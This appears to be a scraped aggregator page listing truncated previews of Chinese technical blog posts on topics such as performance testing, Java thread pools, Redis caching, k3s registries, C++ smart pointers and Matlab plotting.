文章目录 1.性能测试理论1.1 相关概念1.2 性能测试指标2.性能测试策略2.1 基准测试2.2 负载测试2.3 稳定性测试2.4 其他测试策略3.性能测试的流程3.1 需求分析3.2 编写性能测试计划和方案3.3 编写性能测试用例3.4 性能测试执行3.5 性能测试报告4.性能测试工具4.1 Loadrunner4.2…...

java多线程与线程池-02线程池与锁

线程池与锁 第4章 线程池入门 4.1 ThreadPoolExecutor ThreadPoolExecutor是应用最广的底层线程池类,它实现了Executor和ExecutorService接口。 4.1.1 创建线程池 下面创建一个线程池,通过调整线程池构造函数的参数来了解线程池的运行特性。把核心线程数设置为3,最大…...

AB测试——流程介绍(设计实验)

前言&#xff1a; 作为AB测试的学习记录&#xff0c;接上文内容&#xff0c; 本文继续介绍假设建立和实验设计部分&#xff0c;包括实验对象、样本量计算&#xff08;显著性水平、统计功效及最小可检测效应&#xff09;、实验周期。 相关文章&#xff1a; AB测试——原理介绍 A…...

C++中的智能指针有哪些?分别解决的问题以及区别?

1.C中的智能指针有4种&#xff0c;分别为&#xff1a;shared_ptr、unique_ptr、weak_ptr、auto_ptr&#xff0c;其中auto_ptr被C11弃用。 2.使用智能指针的原因 申请的空间&#xff08;即new出来的空间&#xff09;&#xff0c;在使用结束时&#xff0c;需要delete掉&#xff0…...

通达信捉妖改良CCI指标公式,简洁巧妙

高端的食材&#xff0c;往往只需要简单的烹饪方式。好的指标也是一样&#xff0c;只需要简单处理&#xff0c;就可以实现不错的效果。捉妖改良CCI指标公式属于意外之喜&#xff0c;编写指标时写错了&#xff0c;研究后发现结果比原想法更好。 捉妖改良CCI指标公式利用了CCI&am…...

「Python 基础」面向对象编程

文章目录1. 面向对象编程类和实例访问限制继承和多态type()isinstance()dir()实例属性和类属性2. 面向对象高级编程\_\_slots\_\_property多重继承定制类枚举类元类1. 面向对象编程 Object Oriented Programming 简称 OOP&#xff0c;一种程序设计思想&#xff0c;以对象为程…...

【K3s】第23篇 一篇文章带你学习k3s私有镜像仓库配置

目录 1、私有镜像仓库配置 2、registries.yaml Mirrors Configs 1、私有镜像仓库配置 可以配置 Containerd 连接到私有镜像仓库,并使用它们在节点上拉取私有镜像。 启动时,K3s 会检查/etc/rancher/k3s/中是否存在registries.yaml文件,并指示 containerd 使...

Redis学习【12】之Redis 缓存

文章目录前言一 Jedis 简介二 使用 Jedis2.1 测试代码2.2 使用 JedisPool2.3 使用 JedisPooled2.4 连接 Sentinel 高可用集群2.5 连接分布式系统2.6 操作事务三 Spring Boot整合Redis3.1 创建工程3.2 定义 pom 文件3.3 完整代码3.4 总结四 高并发问题4.1 缓存穿透4.2 缓存击穿4…...

Bootargs 参数

bootargs 的参数有很多&#xff0c;而且随着 kernel 的发展会出现一些新的参数&#xff0c;使得设置会更加灵活多样1。除了我之前介绍的 root、console、earlyprintk 和 loglevel 之外&#xff0c;还有以下一些常用的参数&#xff1a;init: 用来指定内核启动后执行的第一个程序…...

Mybatis框架源码笔记(七)之Mybatis中类型转换模块(TypeHandler)解析

1、JDBC的基本操作回顾 这里使用伪代码概括一下流程: 对应数据库版本的驱动包自行下载加载驱动类 (Class.forName("com.mysql.cj.jdbc.Driver"))创建Connection连接: conn DriverManager.getConnection("jdbc:mysql://数据库IP:port/数据库名称?useUnico…...

论文阅读《Block-NeRF: Scalable Large Scene Neural View Synthesis》

论文地址&#xff1a;https://arxiv.org/pdf/2202.05263.pdf 复现源码&#xff1a;https://github.com/dvlab-research/BlockNeRFPytorch 概述 Block-NeRF是一种能够表示大规模环境的神经辐射场&#xff08;Neural Radiance Fields&#xff09;的变体&#xff0c;将 NeRF 扩展到…...

【Matlab】如何设置多个y轴

MTALAB提供了创建具有两个y轴的图&#xff0c;通过help yyaxis就能看到详细的使用方式。 但是如果要实现3个及以上y轴的图&#xff0c;就没有现成的公式使用了&#xff0c;如下图所示。 具体代码 % 数据准备 x10:0.01:10; y1sin(x1); x20:0.01:10; y2cos(x2); x30:0.01:10;…...